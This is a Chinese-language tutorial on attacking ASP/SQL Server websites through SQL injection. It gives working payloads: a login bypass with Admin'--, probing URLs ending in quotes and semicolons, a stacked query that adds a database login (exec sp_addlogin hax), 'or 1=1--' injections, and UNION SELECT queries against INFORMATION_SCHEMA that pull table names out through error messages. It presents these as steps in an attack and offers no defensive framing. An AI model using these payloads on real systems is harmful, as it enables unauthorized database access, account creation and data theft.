一般输入帐号密码的网站的SQL语法为 select * from member where UID =’ "& request("ID") &" ’ nAnd Passwd =’ "& request("Pwd") & " ’ 如果正常使用者输入帐号pl,密码1234 那么程序便会执行select * from member where UID =’pl’ And Passwd=’1234’ 输入的帐号和密码等信息会取代ASP( or PHP、JSP)中的变量,並由两个单引号(’ ’)所包住。那么,如果攻击者已知系统中已有一個Admin的管理者帐号,則输入Admin ’-- ,即可不需输入密码而进入资料库,相应的语句为 select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’ (注:“ – ”符号后的任何叙述都会被当作注解,也就是说以上例子的And子句将被SQL视为说明用)
【检测漏洞】
对大多数SQL服务器来说,我们并不知道对方程序的具体代码,而靠任何扫描器也不可能发现SQL injection的漏洞,这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“――”,所以我们可以在URL后面加上以上符合,或者在表单中的文本框中加入。比如: http://jsw/new.asp?id=1’ http://jsw/new.asp?id=1; 通过页面返回的信息,判断是否存在SQL injection的漏洞,这种方法只是简单的通过字符过滤来判断,根据IIS的配置不同,返回的信息也可能不同。有时显示 Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_id’ to a column of data type int. /index.asp, line 5 也可能是“http 500-内部服务器错误”,或者显示正常信息,判断的根据主要是经验啦,因为现在好多服务器的没有出错回显了的。
【执行系统命令】
SQL injection攻击方法最早源于’or’1’=’1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用 SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库,那么如果还用以上的例子就会 news.asp?id=2;exec sp_addlogin hax 变成 SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=AND 整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法
这是本文要简单的一个重要的部分。一般来说,用于查询数据的SQL语句会用到以下的这种格式: someting.asp: v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’" set rs=conn.execute(sqlstr) 那么我们向包含以上代码的ASP文件提交 http://jsw/index.asp?category=food’or 1=1--’ 切换到程序中后变成 SELECT * FROM product WHERE PCategory=’food’ or 1=1--’ 也就是说我们可以提交一些非法的值给这个ASP脚本,使它执行我们想要的SQL语句。 下面我用一个攻击过程来说明SQL injection的利用方法。 在使用SQL injection攻击的时候,我们首先要得到目标数据库的结构,提交 http://jsw/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- INFORMATION_SCHEMA.TABLES包含的是数据库上的所有表名,我们提交的SQL语句为 SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES—
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’syssegments’ to a column of data type int. /index.asp, line 5